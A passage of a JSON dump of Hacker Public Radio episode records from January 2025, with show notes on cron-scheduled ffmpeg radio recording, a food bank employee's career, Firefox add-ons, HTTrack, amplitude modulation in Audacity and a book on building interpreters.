                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4287,"date":"2025-01-07","title":"Schedule audio recordings on the command line","duration":716,"summary":"Kevie talks about scheduling a recording with a Cron task using ffmpeg","notes":"

                                                            TuxJam co-host Kevie does a follow up show to episode 4249 with a look at scheduling a stream recording using crontab and the ffmpeg command. The two things that we will need to set this up are the audio stream url and the time of the show.

                                                            \n\n

                                                            To set this up we need to go setup a new Cron task: crontab -e and navigate to the bottom of the file.

                                                            \n\n

                                                            The first thing that it will expect you to enter is the timing for this task, this will be written as * * * * * with the information needed being converted into an appropriate number:

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            minutehourday of monthmonthday of week
                                                            (0-59)(0-23)(1-31)(1-12)(0-7)
                                                            *****
                                                            \n\n

                                                            Then we need to enter ffmpeg -i followed by the stream URL.

                                                            \n\n

                                                            It is important that we include the duration of the recording, so that this doesn't output a huge file. To set the time enter -t HH:MM:SS making sure to replace the HH(hours) MM(minutes) and SS(seconds) with numbers.

                                                            \n\n

                                                            Almost done. The last thing we need to do is to enter the location for the file to go along with the name /path/filename.ogg.

                                                            \n\n

                                                            So in short form the command is * * * * * ffmpeg -i https://streamurl -t HH:MM:SS /path/filename.ogg.

                                                            \n\n

                                                            The example used in the show for Dan Lynch's Mid Week Pick and Mix: 00 19 * * 4 ffmpeg -i https://arrowestream.radioca.st/;?ver=737183.mp3 -t 02:00:00 ~/Recordings/DanLynchPickMix.ogg

                                                            ","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CLI, audio, streaming, radio, recording, ripping, music","version":0,"downloads":0,"valid":1}, {"id":4288,"date":"2025-01-08","title":"God's Pantry Food Bank","duration":1578,"summary":"Questions and Answers on What is a Food Bank and my 25 Year Career","notes":"

                                                            Greetings and welcome to Hacker Public Radio.

                                                            \n

                                                            My name is Peter Paterson, also known as SolusSpider, a Scotsman living in Kentucky, USA.

                                                            \n

                                                            This is my second HPR recording.

                                                            \n

                                                            The first was episode 4258 where I gave my introduction and computer history.

                                                            \n

                                                            Once again I am recording the audio on my Samsung Galaxy S21 Ultra phone, running Android 14, with Audio Recorder by Axet. The app was installed from F-Droid.

                                                            \n

                                                            Markdown

                                                            \n

                                                            For my Shownotes I learned to use Markdown by using the ReText app, which allows me to write in one window and preview the result in another.

                                                            \n

                                                            What is this show about?

                                                            \n

                                                            When I visited Archer72, AKA Mark Rice, in November 2024 in his University of Kentucky trauma room I reminded him that I work for God's Pantry Food Bank.

                                                            \n

                                                            He said he wanted to hear more, and highly suggested that I record the story as an HPR show, so here we are.

                                                            \n

                                                            I plan to ask the questions I hear from so many, and attempt to answer them as best I am able.

                                                            \n

                                                            What is the History of God's Pantry Food Bank?

                                                            \n

                                                            Reading directly from the About-Us page of Godspantry.org

                                                            \n
                                                            \n

                                                            Mim Hunt, the founder of God's Pantry Food Bank, vowed to leave \"the heartbreaking profession of social work\" behind when she returned to her hometown of Lexington after serving as a child welfare worker in 1940's New York City. She and her husband, Robert, opened \"Mim's,\" a combination gift shop, antique gallery, and health food store, but after seeing poverty in Lexington that rivaled what she'd fought against in New York, she found herself unable to remain silent.

                                                            \n

                                                            Mim began her work in Lexington by filling her station wagon with food, clothing, and bedding, and distributing it directly to individuals in need.

                                                            \n

                                                            Soon, neighbors were bringing food donations to what became known as \"Mim's Pantry\" located at her home on Lexington's Parkers Mill Road. But Mim quickly corrected them. \"I don't fill these shelves,\" she said. \"God does. This is God's Pantry.\" God's Pantry Food Bank was born out of this work in 1955 and remained mobile until the first pantry was opened in 1959.

                                                            \n

                                                            Since its founding, the food bank has grown in many ways. What started with one woman attempting to do what she could to address a need is now an organization serving 50 counties in Central and Eastern Kentucky through a number of programs with a dedicated staff committed to the mission of solving hunger.

                                                            \n

                                                            Mim Hunt devoted her life to helping others, and we continue to honor her legacy at God's Pantry Food Bank. Her work is proof that one person, with every small action, can make a large impact. We invite you to join us in continuing Mim's work.

                                                            \n
                                                            \n

                                                            Where have been the locations of the main Food Bank facility?

                                                            \n

                                                            My ex-workmate Robert Srodulski recently wrote a reply in Facebook when our newest building was announced.

                                                            \n

                                                            He stated:

                                                            \n
                                                            \n

                                                            "If I count right, this is the 6th main warehouse location in Lexington. Congratulations!

                                                            \n
                                                            \n

                                                            >

                                                            \n
                                                              \n
                                                            • Mim's house and car

                                                              \n
                                                            • \n
                                                            • Oldham Avenue garage

                                                              \n
                                                            • \n
                                                            • A building next to Rupp Arena (which is now gone)

                                                              \n
                                                            • \n
                                                            • Forbes Road

                                                              \n
                                                            • \n
                                                            • Jaggie Fox Way,

                                                              \n
                                                            • \n
                                                            • Innovation Drive."

                                                              \n
                                                            • \n
                                                            \n

                                                            My friend Robert was employed by the Food Bank for 26 years. I am chasing his time as the longest lasting male employee.

                                                            \n

                                                            Two ladies have longer service times:

                                                            \n
                                                              \n
                                                            • Debbie Amburgey with 36.5 years in our Prestonsburg facility. She started on 19th October 1987. Sadly my good friend Debbie passed earlier this year, and I miss her greatly. She never retired.

                                                              \n
                                                            • \n
                                                            • Danielle Bozarth with currently just under 30 years. She started on 30th May 1995.

                                                              \n
                                                            • \n
                                                            \n

                                                            It would take me just over 11 years to catch up with Debbie's service record, which would take me to the age of 68. Unsure if I shall still be employed by then!

                                                            \n

                                                            What exactly do I mean by Food Bank?

                                                            \n

                                                            In February 2023 I wrote a blog post with my explanation of Food Bank. My website is LinuxSpider.net, and you will find the direct link in the shownotes.

                                                            \n

                                                            The blog was written as a response to friends, mostly from the United Kingdom, asking me very this question.

                                                            \n

                                                            To many there, and indeed here in USA also, what is called a Food Bank is what I call a local Food Pantry. Nobody is wrong here at all. We all gather food from various sources and distribute it to our neighbours who are in food insecure need.

                                                            \n

                                                            Most Pantries are totally staffed by volunteers and often open limited hours.

                                                            \n

                                                            The Food Bank has a larger scope in where we source food from, the amount sourced, does have paid staff but still dependent on volunteers, and we are open at least 40 hours a week. More if you include projects that involve evenings and Saturdays.

                                                            \n

                                                            God's Pantry Food Bank has a service area which includes 50 of the 120 Counties of Kentucky, covering central, southern, and eastern, including part of Appalachia.

                                                            \n

                                                            When I started in 1999 we were distributing 6 million pounds weight of food per year. This is about 150 semi-truckloads. Over 25 years later we are looking at distributing about 50 million pounds this year, about 1,250 truckloads.

                                                            \n

                                                            Over 40% of our distribution is fresh produce.

                                                            \n

                                                            We are an hunger relief organisation, so this amount of food is assisting our neighbours in need.

                                                            \n

                                                            In those 50 Counties we have about 400 partner agencies. Many of these agencies are Soup Kitchens, Children's Programs, Senior Programs, as well as Food Pantries.

                                                            \n

                                                            God's Pantry Food Bank is partnered with the Feeding America network of 198 Food Banks.

                                                            \n

                                                            In my early years I knew them as America's Second Harvest. In 2008 they changed name to Feeding America. Their website is FeedingAmerica.org

                                                            \n

                                                            What they do is outlined in their our-work page, including:

                                                            \n
                                                              \n
                                                            • Ensuring everyone can get the food they need with respect and dignity.

                                                              \n
                                                            • \n
                                                            • Advocating for policies that improve food security for everyone.

                                                              \n
                                                            • \n
                                                            • Partnering to address the root causes of food insecurity, like the high cost of living and lack of access to affordable housing.

                                                              \n
                                                            • \n
                                                            • Working with local food banks and meal programs.

                                                              \n
                                                            • \n
                                                            • Ending hunger through Food Access, Food Rescue, Disaster Response, and Hunger Research.

                                                              \n
                                                            • \n
                                                            \n

                                                            I have visited a few other Food Banks, but not as many as I would have liked. We all have our own areas of service, but do often interact as the needs arise, especially in times of disaster.

                                                            \n

                                                            The Feeding America network came to Kentucky's aid in the past few years with the flooding in the East and tornadoes in the West.

                                                            \n

                                                            Feeding America aided the Food Banks affected by the devastation from Hurricanes Helene and Milton.

                                                            \n

                                                            How did I get started at the Food Bank?

                                                            \n

                                                            As mentioned in my introduction show I moved from Scotland to Kentucky in May 1999 and married Arianna in June 1999.

                                                            \n

                                                            Before our wedding I had received my green card. My future Mother-in-Law Eva recommended I check with God's Pantry Food Bank to see if they were hiring.

                                                            \n

                                                            She was working for Big Lots and had applied for a warehouse job at the Food Bank. Unfortunately for her she never got the job, but she was quite impressed by the organisation. She knew that I had warehouse and driving experience.

                                                            \n

                                                            So, one day after dropping Arianna at her University of Kentucky Medical Staff Office I stopped by the Food Bank on South Forbes Road to ask.

                                                            \n

                                                            The answer was that they were indeed hiring for the warehouse, and to come back that afternoon to meet with CW Drury, the Warehouse Manager. I drove home, put on smarter clothes, and drove back.

                                                            \n

                                                            It was a pleasure meeting CW and hearing about the job. Although most of the explanation of what they did in their mission went over my head at the time, I knew needed a job, and wanted to join this company.

                                                            \n

                                                            A few days before our wedding I received a phone call from CW offering me the position. I accepted and went for my medical the next day.

                                                            \n

                                                            My first day with God's Pantry Food Bank was on Tuesday 6th July 1999, the day after our honeymoon.

                                                            \n

                                                            I will admit that although my previous job in Scotland was a physical one, quite a few months had passed, and the heat was hot that Summer in Kentucky! I went home exhausted everyday, but totally enjoying the work I was doing.

                                                            \n

                                                            I started off mostly picking orders, assisting Agencies that came in, going to the local Kroger supermarkets to pick up bread, deliver and pick up food barrels of donations, and all the other duties CW assigned me to.

                                                            \n

                                                            I particularly enjoyed the software part of the job. I forget the name of the software back then, but do remember learning the 10 digit Item Codes.

                                                            \n
                                                              \n
                                                            • 1st is the source

                                                              \n
                                                            • \n
                                                            • 2nd and 3rd are the category. There are 31 officially with Feeding America.

                                                              \n
                                                            • \n
                                                            • next 6 is the unique UPC - usually from the item bar code

                                                              \n
                                                            • \n
                                                            • 10th is the storage code of dry, cooler, or freezer

                                                              \n
                                                            • \n
                                                            \n

                                                            The first code I memorised was Bread Products: 1040010731

                                                            \n

                                                            This broke down to Donated, Bread Category, UPC number, and Dry Storage.

                                                            \n

                                                            I must admit we did not create a new code when we started storing Bread Product in the Cooler. That is probably the only exception

                                                            \n

                                                            It has been my responsibility all these years to maintain the Item Category Code sheet with different codings we have used and had to invent.

                                                            \n

                                                            An example is that when the source digit had already used 1 to 9, we had to start using letters. Although there were concerns at the time, everything worked out well.

                                                            \n

                                                            When I started at South Forbes Road there were 11 employees there and Debbie in Prestonsburg. 12 in total, in 2 locations.

                                                            \n

                                                            These days we have over 80 employees in 5 locations: Lexington, Prestonsburg, London, Morehead, and a Volunteer Center on Winchester Road, Lexington, near the Smuckers JIF Peanut Butter plant.

                                                            \n

                                                            My time at 104 South Forbes Road was for a full 4 weeks!

                                                            \n

                                                            In August 1999 we moved to 1685 Jaggie Fox Way, into a customised warehouse with 3 pallet tall racking, and lots of office space. It felt so large back then!

                                                            \n

                                                            On my first couple of days of unloading trucks there I totally wore out a pair of trainers!!

                                                            \n

                                                            Jaggie Fox does sound like a strange name for a street, but I later learned it came from 2 ladies, Mrs Jaggie and Mrs Fox who owned the land before the business park purchase. Anyway, that's what I have been told by mulitple people.

                                                            \n

                                                            Technology was fun in 1999, as we had a 56K phone modem, about 10 computers, and 1 printer. You can imagine the shared internet speed.

                                                            \n

                                                            I forget how long, but we eventually got DSL, then Cable.

                                                            \n

                                                            What have been my duties at the Food Bank?

                                                            \n

                                                            For my first decade of employment I worked the warehouse and as a driver.

                                                            \n

                                                            This included delivering food to the 4 to 5 local pantries that we ran ourselves in local church buildings in Fayette County.

                                                            \n

                                                            Funny story is that a couple of years into the job, I was approached by the Development Manager and asked if I knew websites and HTML. I informed her that I was familiar, and she made me responsible for the maintenance of the website that University of Kentucky students had created. It indeed was quite basic with only HTML and images.

                                                            \n

                                                            I had this duty for a few years before a professional company was hired.

                                                            \n

                                                            I mentioned Inventory software. In early 2000 we moved to an ERP, that is an Enterprise Resource Planning suite named Navision written by a Danish company. That company was then taken over by Microsoft. For as while it was called Microsoft NAV, and these days it is part of Dynamics 365.

                                                            \n

                                                            Feeding America commissioned a module named CERES which assisted us non-profits to use profit orientated software. Inhouse, we just call the software CERES.

                                                            \n

                                                            Even though I was no longer maintaining the website, I was still involved in IT to a degree. I became the inhouse guy who would set up new employees with their own computer. Ah, the days of Active Directory. I never did like it!

                                                            \n

                                                            I was also the guy the staff came to first with their computer problems. Funny how a lot of these issues were fixed when I walked in their office. If I could not fix an issue there and then, we did have a contract company on-call.

                                                            \n

                                                            They maintained our server and other high level software.

                                                            \n

                                                            This was still when I was in the warehouse role.

                                                            \n

                                                            After that first decade I was allocated to be our Welcome Center person, which I did for 3 years.

                                                            \n

                                                            This involved welcoming agencies, guests, salespersons, volunteers, and assisting other staff members in many ways.

                                                            \n

                                                            I also went from being a driver to the person who handed out delivery and pick-up routes to the drivers.

                                                            \n

                                                            During these years I became a heavy user of CERES working with the agencies and printing out pick-sheets to our warehouse picking staff.

                                                            \n

                                                            Although I really enjoyed the work, I will openly admit that I am not always the best in heavily social situations. I did have some difficulty when the Welcome Center was full of people needing my attention and I was trying to get software and paperwork duties done. Somehow I survived!

                                                            \n

                                                            My next stage of employment was moving into the offices and becoming the assistant to the Operations Director.

                                                            \n

                                                            This is when I really took on the role of food purchaser, ordering fresh produce and food from vendors as part of our budget.

                                                            \n

                                                            I also took over the responsibility of bidding for food donations from the Feeding America portal named Choice. National Donors offer truckloads of food and other items to the network, and we Food Banks bid on them in an allocated share system. The donations are free, but we pay for the truck freight from the shipping locations.

                                                            \n

                                                            A full time IT person was hired. We are now on our 4th IT Manager. The last 2 each had assistants.

                                                            \n

                                                            Although I am grandfathered in as an admin, my duties in this regard are very low, but still have the abity to install software as needed. Quite handy on my own laptop.

                                                            \n

                                                            As well as being the Food Procurement Officer I also became the Reporting Officer.

                                                            \n

                                                            This has been greatly aided by our team receiving the ability to write our own reports from the Navision SQL database using Jet Reporting.

                                                            \n

                                                            This is an Excel extension that allows us to access field data not directly obtainable in the CERES program.

                                                            \n

                                                            The fore-mentioned Robert Srodulski used to spend a day creating a monthly report that included all of our 50 counties across multiple categories of data. He would step by step complete an Excel worksheet with all this information.

                                                            \n

                                                            I took his spreadsheet, converted it into a Jet Report, and it now runs in about 5 minutes!

                                                            \n

                                                            It is my responsibility to supply reports on a regular monthly, quarterly, and yearly basis to my Directors, fellow staff, and to Feeding America.

                                                            \n

                                                            Yes, I do have an orange mug on my desk that says "I submitted my MPR". That is the Monthly Pulse Report. It sits next to my red swingline stapler!

                                                            \n

                                                            What are God's Pantry Food Bank's sources of food?

                                                            \n

                                                            This is probably the question I get asked the most when friends and online contacts find out what I do for a career.

                                                            \n

                                                            We receive and obtain food from various sources, including:

                                                            \n
                                                              \n
                                                            • Local donations from people like you. Thank you!

                                                              \n
                                                            • \n
                                                            • Local farmers.

                                                              \n
                                                            • \n
                                                            • Local retail companies and other businesses giving food directly to us and to our Partner Agencies. We are the official food charity of many retailers, including Walmart and Kroger.

                                                              \n
                                                            • \n
                                                            • National Companies, mostly through the Feeding America Choice Program.

                                                              \n
                                                            • \n
                                                            • The USDA, U.S. Department of Agriculture, supplies us with multiple programs of food: TEFAP (the Emergency Food Assistance Program), CCC (Commodity Credit Corporation), and CSFP (Commodity Supplemental Food Program).

                                                              \n
                                                            • \n
                                                            • Purchased food, including Fresh Produce, via donations and grants.

                                                              \n
                                                            • \n
                                                            \n

                                                            Without all this food coming in, we would not be able to distribute to our internal programs or to our partner agencies, allowing them to run Backpacks for Kids, Food Boxes for Seniors, Food Pantries, Mobile Distributions, Sharing Thanksgiving, and a multitude of other services we offer our neighbours.

                                                            \n

                                                            We have a team of Food Sourcers that work directly with the retail companies, so I am not fully involved there, but I am the main Food Purchaser for the majority of the food we buy. Specialised internal programs like Backpack and local Pantries do order specific foods that they need on a regular basis. I try to supply for the long term.

                                                            \n

                                                            With the USDA CSFP program I am responsible for the ordering of that food through a Government website. Often 6 to 12 months ahead of time.

                                                            \n

                                                            Here's a truth that staggers many people when I inform them:

                                                            \n

                                                            If you are spending cash on food donations to God's Pantry Food Bank, the most efficient use of those funds is to donate it to us.

                                                            \n

                                                            I truly can obtain about $10 worth of food for every $1 given.

                                                            \n

                                                            An example is that I recently obtained a full truckload donation of 40,000lb of Canned Sliced Beets (yum!) that we are paying only freight on.

                                                            \n

                                                            Do the maths.

                                                            \n

                                                            #Where is God's Pantry Food Bank located?

                                                            \n

                                                            As mentioned we have 5 locations, not including our own local pantries, but our main head office is at 2201 Innovation Drive

                                                            \n

                                                            Please check out our webpage at GodsPantry.org/2201innovationdrive as it includes an excellent animated walk-through tour of the offices and warehouse, including the Produce Cooler, Deli Cooler, and Freezer. They are massive!

                                                            \n

                                                            I personally waited until the very last day, Friday 13th of December, to move out of my Jaggie Fox office and into my new one at Innovation. Our official first day was on Monday 16th December 2024.

                                                            \n

                                                            What I tooted and posted on that Friday caught the eye of my CEO, Michael Halligan, and he asked me if he could share it with others. Of course he should!

                                                            \n

                                                            In the Shownotes I have included a link to my Mastodon toot. It's too long a number to read out.

                                                            \n

                                                            I am absolutely loving our new location.

                                                            \n

                                                            It's my challenge to fill the cooler, freezer, and dry warehouse with donated food!

                                                            \n

                                                            My new office is 97% set up to my workflow, including my infamous hanging report boards, and spiders everywhere.

                                                            \n

                                                            The last line of my blog says:

                                                            \n
                                                            \n

                                                            All that said, it truly is the only job I have ever had which I absolutely enjoy, but totally wish did not exist!!

                                                            \n
                                                            \n

                                                            This remains true.

                                                            \n

                                                            Our mission is:

                                                            \n
                                                            \n

                                                            Reducing hunger by working together to feed Kentucky communities.

                                                            \n
                                                            \n

                                                            Our vision is:

                                                            \n
                                                            \n

                                                            A nourished life for every Kentuckian.

                                                            \n
                                                            \n

                                                            #How may HPR listeners support God's Pantry Food Bank

                                                            \n

                                                            The quick answer is to go to our website of GodsPantry.org and click on Take Action.

                                                            \n

                                                            From there you will be given a list to choose from:

                                                            \n
                                                              \n
                                                            • Donate Food

                                                              \n
                                                            • \n
                                                            • Volunteer

                                                              \n
                                                            • \n
                                                            • Host a Food Drive or Fundraiser

                                                              \n
                                                            • \n
                                                            • Become a Partner

                                                              \n
                                                            • \n
                                                            • Attend an Event

                                                              \n
                                                            • \n
                                                            • Advocate

                                                              \n
                                                            • \n
                                                            • Other Ways to Help

                                                              \n
                                                            • \n
                                                            \n

                                                            Thank you so much for listening to my HPR show on God's Pantry Food Bank.

                                                            \n

                                                            Apart from leaving a comment on the HPR show page, the easiest ways for people to contact me are via Telegram: at t.me/solusspider or Mastodon at @SolusSpider@linuxrocks.online

                                                            \n

                                                            I look forward to hearing from you.

                                                            \n

                                                            Now go forth, be there for your fellow neighbours, and record your own HPR show!

                                                            \n

                                                            \n

                                                            Adding this comment to the Shownotes, that I shall not be speaking aloud.

                                                            \n

                                                            Although I consider this show topic to be Clean, as it is basically about my life and work, not my beliefs, there may be some worldwide who hear the name God's Pantry

                                                            \n

                                                            and consider it to be religious. Therefore I am flagging the show as Explicit. just in case.

                                                            \n

                                                            It is merely the name of our non-profit Food Bank, as called by our founder Mim Hunt.

                                                            \n

                                                            Although the majority of our Partner Agencies are faith based non-profit organisations, the Food Bank itself is not faith based.

                                                            \n

                                                            \n","hostid":437,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Food Bank,Kentucky,Career,Food Insecurity,Hunger","version":0,"downloads":0,"valid":1}, {"id":4289,"date":"2025-01-09","title":"Welcome Nuudle","duration":2490,"summary":"Sgoti brings a new friend to the table, kicking and screaming.","notes":"

                                                             \n 7 Days to\n Die 

                                                            \n

                                                            Salty\n Zombies Gaming Community

                                                            \n

                                                            \n Welcome Nuudle so I can drag her back here.

                                                            ","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"How to make friends, 7 days, Zombies, Nuudle","version":0,"downloads":0,"valid":1}, {"id":4290,"date":"2025-01-10","title":"Playing Civilization IV, Part 5","duration":886,"summary":"We look at a new feature called Civics.","notes":"

                                                            Civilization IV made some changes, and in this episode we look at the\nidea of Civics. This is another example of a significant change from\nprevious versions

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.palain.com/gaming/civilization-iv/playing-civilization-iv-part-5/
                                                            • \n
                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV","version":0,"downloads":0,"valid":1}, {"id":4291,"date":"2025-01-13","title":"AM on the Nyquist Prompt","duration":755,"summary":"Lee experiments with amplitude modulation and learns lisp in the process","notes":"

                                                            Studying for a license from the Radio Society of Great Britain lead to\nan interesting experiment.

                                                            \n

                                                            What happens if one sine wave is modulated with another sine wave?\nSimilar to sending a pure tone over AM radio.

                                                            \n

                                                            Apparently the result is two frequencies, one equal to the difference\nof the two original frequencies and one equal to the sum.

                                                            \n

                                                            Creating two tones and multiplying them in Nyquist Prompt in Audacity\nthen plotting the resulting spectrum concurs.

                                                            \n
                                                            (mult (sound (hzosc 1000)) (sound (hzosc 500)))
                                                            \n

                                                            The original tones were 1 kHz and 0.5 kHz.

                                                            \n

                                                            The result was a peak at 0.5 kHz (the difference) and one at 1.5 kHz\n(the sum).

                                                            \n

                                                            \n

                                                            On another note, the manual mentions in practice if one of the tones\nis the carrier frequency and one of them is the signal, then the carrier\nshould not be modulated all the way down to zero or all the way up to\nmaximum. This avoids distortion and clipping so the quality is better\nwhen received. It is also more power efficient so the transmission can\ntravel further given the transmitter has a limited power output.

                                                            \n","hostid":403,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"lisp, nyquist, radio","version":0,"downloads":0,"valid":1}, {"id":4292,"date":"2025-01-14","title":"Firefox Add-ons","duration":1763,"summary":"How to enhance the capabilities of Firefox","notes":"

                                                            \nFirefox has add-ons – these are extra features you can download and install to add more functionality to your browser. Add-ons allow you to customize your Firefox browser and enhance the way you use the web.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBookmarks Organizer https://github.com/cadeyrn/bookmarks-organizer\n

                                                            \n

                                                            \nClearURLs https://docs.clearurls.xyz/1.26.1/\n

                                                            \n

                                                            \nDon't fuck with copy and paste https://github.com/aaronraimist/DontFuckWithPaste\n

                                                            \n

                                                            \nDon't track me Google https://github.com/Rob--W/dont-track-me-google\n

                                                            \n

                                                            \nDownload All Images https://webextension.org/listing/save-images.html\n

                                                            \n

                                                            \nEnhancer for YouTube https://www.mrfdev.com/enhancer-for-youtube\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI still don't care about cookies (https://www.reddit.com/r/firefox/comments/1dt5yte/comment/lb98xw7/)

                                                            \n
                                                              \n
                                                            • \nit is no longer maintained as of now. Use uBlock it contains a list - go to settings, Cookie, EasyList, set the tick.
                                                            • \n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nnuMatrix - not recommended - you have to learn its use https://codeberg.org/arek.codes/nuMatrix\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nRSSPreview https://github.com/aureliendavid/rsspreview\n

                                                            \n

                                                            \nSingleFile https://github.com/gildas-lormeau/SingleFile\n

                                                            \n

                                                            \nuBlock Origin - Gold standard https://github.com/gorhill/uBlock\\#ublock-origin\n

                                                            \n

                                                            \nUser-Agent Switcher https://mybrowseraddon.com/useragent-switcher.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe End.

                                                            \n

                                                            \n
                                                            \n

                                                            \n","hostid":421,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Firefox, Webbrowser","version":0,"downloads":0,"valid":1}, {"id":4293,"date":"2025-01-15","title":"HTTrack website copier software","duration":233,"summary":"I use the HTTrack software to get my own copy of websites.","notes":"

                                                            \nThe Wayback Machine by The Internet Archive is a very good resource for web sites no longer existing or older revisions of them.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHowever, sometimes I have also found it is nice and useful to have my own copy of a web site. It means I have control over the copy, it can be accessed offline and no world wide wait for the page to load.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMy most typical use case if for web sites that I am manager of myself. For one or another reason, I want to keep a snapshot of the site. I have also used it for fact based sites which I want to always have access to, like a reference book. One of my recent use cases was a magazine that has closed down and announced the web site will also soon be terminated. Although it is available in the Wayback machine, I wanted to have a copy myself for a short period of time.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe software I use for this HTTrack. This software is available for Windows, Android, Linux and unix-like systems. It is at least for some platforms available with a graphical user interface. I have myself only used HTTrack with the terminal interface on Linux. HTTrack is a free and open source software.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIn its simplest way to operate, it is just to type \"httrack\" followed by the url to the start page of the site to be copied.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIn many cases this works well, I get a perfect copy. In other cases, it works less well. First of all, of course, I do not copy very big websites, both for the amount of time it takes and the disc space. What is stated in the robot textfile can also matter for the result. Another issue can be the folder structure of the site, HTTrack may not find all folders in its default setup, for example how images are stored. I have myself also got issues when menues and links not works normally where I instead have to right click to open the link.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe HTTrack web site has quite a lot of information in the documentation and it also has a forum. And in the terminal, there is also good help about all additional available commands. I have in general for my usage found the simple first attempt to copy sites gives perfect or good enough result directly without need to research details.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo, when I want to preserve snapshot of earlier releases of my own sites or when I want to have an offline and preserved copy of an important site, I consider HTTrack to be an easy to use and yet powerful tool. I am aware other similar tools exist, but this is the one I currently use.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHTTrack website copier website: \nhttps://www.httrack.com/\n

                                                            \n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"httrack, website, software","version":0,"downloads":0,"valid":1}, {"id":4294,"date":"2025-01-16","title":"Schedule audio recordings on the command line - A bit of fine tuning","duration":318,"summary":"Kevie tweaks the crontab command for better results with multiple recordings","notes":"

                                                            \n\nTuxJam\n co-host \nKevie\n follows up on HPR4287 with a bit of a tweak to the Crontab, but still using the ffmpeg command to record.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIn the previous episode, the example stream url that was given proved to be unpopular with ffmpeg due to the characters that it contained. A quick work around for this was to put it in a url shortener, for this example I'm using \nTinyURL\n.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAnother issue arose when the stream recorded without first removing the audio file, I could see this being an issue when you want to record a show when you will be away over multiple weeks. To overcome this we simply edit the Crontab file (command \ncrontab -e\n) and add the following to the end of the file, before the extension: \n$(date +\"%Y_%m_%d\")\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo the template chances from:

                                                            \n

                                                            \n\n* * * * * ffmpeg -i https://streamurl -t HH:MM:SS /path/filename.ogg\n

                                                            \n

                                                            \nto

                                                            \n

                                                            \n\n* * * * * ffmpeg -i https://streamurl -t HH:MM:SS /path/filename$(date +\"\\%Y_\\%m_\\%d\").ogg\n

                                                            \n

                                                            \nI forgot to say in the show that you need to add \\ before % in Cron or it will not behave as expected.\n

                                                            \n

                                                            \nThe example of recording Dan Lynch's Pic and Mix show on Arrow Radio every Thursday at 7pm would now be:

                                                            \n

                                                            \n\n00 19 * * 4 ffmpeg -i https://tinyurl.com/msm6ya6f -t 02:00:00 ~/Recordings/DanLynchPickMix$(date +\"\\%Y_\\%m_\\%d\").ogg\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CLI, audio, streaming, radio, recording, ripping, music","version":0,"downloads":0,"valid":1}, {"id":4295,"date":"2025-01-17","title":"Three Holiday Hacks from 2023","duration":470,"summary":"Replacing the battery, swapping a fan, and getting a new desktop","notes":"

                                                            \nIn this reserve show, Ken

                                                            \n
                                                              \n
                                                            1. \nreplaces the battery in a \nSONY A10 telephone\n.
                                                            2. \n
                                                            3. \nSwaps out a loud fan for a quiet one in a \nRIGOL DS1054\n.
                                                            4. \n
                                                            5. \nThen replaces the desktop of an \nIkea BEKANT\n standing desk with a narrower \nLAGKAPTEN\n table top not meant for it.
                                                            6. \n
                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"IkeaHacks, diy, hardware","version":0,"downloads":0,"valid":1}, {"id":4296,"date":"2025-01-20","title":"Crafting Interpreters","duration":128,"summary":"Talk about the book Crafting Interpreters by Robert Nystrom","notes":"

                                                            \n\nCrafting Interpreter\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nHello, this is iota speaking.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nToday I would like to talk about the book \"Crafting Interpreters\" by Robert Nystrom.  I have a passion for interpreters and compilers for a long time, and always like to write one.  But I never succeed.  I read a lot of books about interpreters and compilers but never able to finish it.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCrafting Interpreters is the first book I read cover to cover, and understand it, and I am able to follow through all the coding and build an interpreter as well as a compiler.  It is amazing!\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThe first half of the book is to build a tree-walking interpreter in Java.  The 2nd half of the book is to build a bytecode compiler in C.  Both of them are for a programming language the author called lox. L-O-X.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThe book is smart because it is based on generic Java and C code, and does not specify any IDE or make file to use.  You will have to figure out that yourself.  That may sound like a hurdle but in fact it is a blessing.  That makes the code in the book very portable.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThe author has a way to explain compiler concepts in an interesting way.  The bytecode compiler in the 2nd half of the book implements the following features: virtual machine, closure, class and methods, garbage collector, etc.\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nThe book cover is already very revealing.  It is basically a high-level view of the different passes and types of code generation.\n

                                                            \n

